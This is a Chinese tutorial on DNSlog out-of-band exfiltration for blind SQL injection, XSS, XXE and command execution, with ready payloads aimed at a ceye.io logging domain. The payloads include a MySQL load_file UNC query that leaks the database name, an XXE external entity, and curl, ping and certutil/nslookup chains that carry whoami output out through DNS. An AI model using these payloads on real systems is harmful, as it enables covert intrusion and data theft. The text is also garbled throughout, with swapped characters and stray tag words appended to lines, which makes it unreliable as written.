巧用DNSlog实现无回显注入

测试一些网站的时候,一些注入都是无回显的,咱们能够写脚原本进行盲注,但有些网站会ban掉咱们的ip,这样咱们能够经过设置ip代理池解决,html

可是盲注每每效率很低,因此产生了DNSlog注入。具体原理以下。mysql

首先须要有一个能够配置的域名,好比:ceye.io,而后经过代理商设置域名 ceye.io 的 nameserver 为本身的服务器 A,而后再服务器 A 上配置好 DNS Server,这样以来全部 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就可以实时地监控域名查询请求了,图示以下。sql

DNS在解析的时候会留下日志,我们这个就是读取多级域名的解析日志,来获取信息
简单来讲就是把信息放在高级域名中,传递到本身这,而后读取日志,获取信息。数据库

这样说原理很抽象,下面经过实际例子看下。后端

http://ceye.io 这是一个免费的记录dnslog的平台,咱们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当咱们把注入信息放到三级域名那里,后台的日志会记录下来浏览器

0x01SQL盲注bash

就以sql盲注为例。深刻理解下DNSlog注入过程:服务器

经过DNSlog盲注须要用的load_file()函数,因此通常得是root权限。show variables like '%secure%';查看load_file()能够读取的磁盘。curl

一、当secure_file_priv为空,就能够读取磁盘的目录。xss

二、当secure_file_priv为G:\,就能够读取G盘的文件。

三、当secure_file_priv为null,load_file就不能加载文件。

经过设置my.ini来配置。secure_file_priv=""就是能够load_flie任意磁盘的文件。

在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句

查看平台,dnsLog被记录下来。

load_file()函数能够经过dns解析请求。

以sql-labs第五关:

payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+

执行的sql语句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)

查看dnslog日志,发现security数据库被查询出来:

0x02 XSS(无回显)

经过盲打,让触发者浏览器访问预设至的连接地址,若是盲打成功,会在平台上收到以下的连接访问记录:

payload:><img src=http://xss.xxxx.ceye.io/aaa>让src请求咱们的dnslog平台

0x03 SSRF(无回显)

payload: 

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test"> %remote;]> <root/>

0x04命令执行(无回显)

当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。

*nix
curl http://haha.xxx.ceye.io/`whoami` ping `whoami`.xxxx.ceye.io

Windows
ping %USERNAME%.xxx.ceye.io

也能够经过base64加密传送数据,平台拿到的数据进行base64解密获得命令回显。
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
del temp*

其余的在这个平台上有一些payload。

参考连接:

http://foreversong.cn/archives/861

https://bbs.ichunqiu.com/thread-22002-1-1.html

http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

相关文章
相关标签/搜索